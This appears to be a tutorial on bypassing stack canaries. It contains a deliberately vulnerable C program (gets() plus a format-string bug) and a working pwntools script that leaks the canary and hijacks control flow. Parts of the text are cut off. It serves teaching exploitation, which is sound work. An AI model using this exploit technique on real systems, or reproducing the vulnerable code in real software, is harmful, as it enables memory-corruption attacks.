A stack canary is a value which the compiler may insert right before the stored base pointer on the stack. When a function is about to return to its caller, the canary is checked for modifications and if it is found to have been changed during the programme's execution, the executable deliberately aborts.
There are 3 main types of canaries:
0x00
, 0xaf
and ) that aim to prevent canary bypasses by terminating input functionsIn Linux, the canary is generated each time execve()
is called and is stored at an offset of 0x28
from the FS
register. Additionally, the last byte of Linux canaries is always 0x00
, so they are actually a mixture of a terminator and a random canary. Unfortunately, this distinction also makes them quite easy to spot.
There are two main ways of bypassing canaries.
The first way is to leak the canary, for example by exploiting a format string vulnerability.
#include <stdio.h>
#include <string.h>
void deleteDB() {
puts("Database deleted.");
}
int main() {
char buffer[64];
puts("Enter name: ");
gets(buffer);
printf(buffer);
puts("\nEnter age: ");
gets(buffer);
puts("Database updated.");
}
When we execute the programme, we can abuse the format string vulnerability in printf(buffer);
to leak data from the stack like so:
The highlighted string looks awfully like a canary. We count that this is the 35th value on the stack and so we can check it a few more times just to be sure.
Indeed, it appears to be a random value but always ends in 0x00
. Now that we can leak the canary, we can include it in our buffer overflow at the approriate position and when we would have essentially left the canary unchanged since we would overwrite it with its original value. Now we are ready to prepare our exploit:
#!/usr/bin/python3
from pwn import *
p = process('./canary')
p.recvline() # receive the 'Enter name: ' line
p.sendline("%35$p") # exploit the format string
canary = int(p.recvline(), 16)
exploit = b'A' * 0x48 # overflow the buffer
exploit += p64(canary) # add the canary
exploit += b'A' * 0x8 # padding to the return address (overwriting the saved base pointer)
exploit += p64(0x401156) # address of deleteDB
p.recvline() # receive the 'Enter age: ' line
p.sendline(exploit)
print(p.clean().decode('latin-1'))
This technique abuses the fact that processes which are fork
-ed from the same process will all share the same canary. This attack, however, is only really feasible on 32-bit machines, since the canary there is 32 bits long.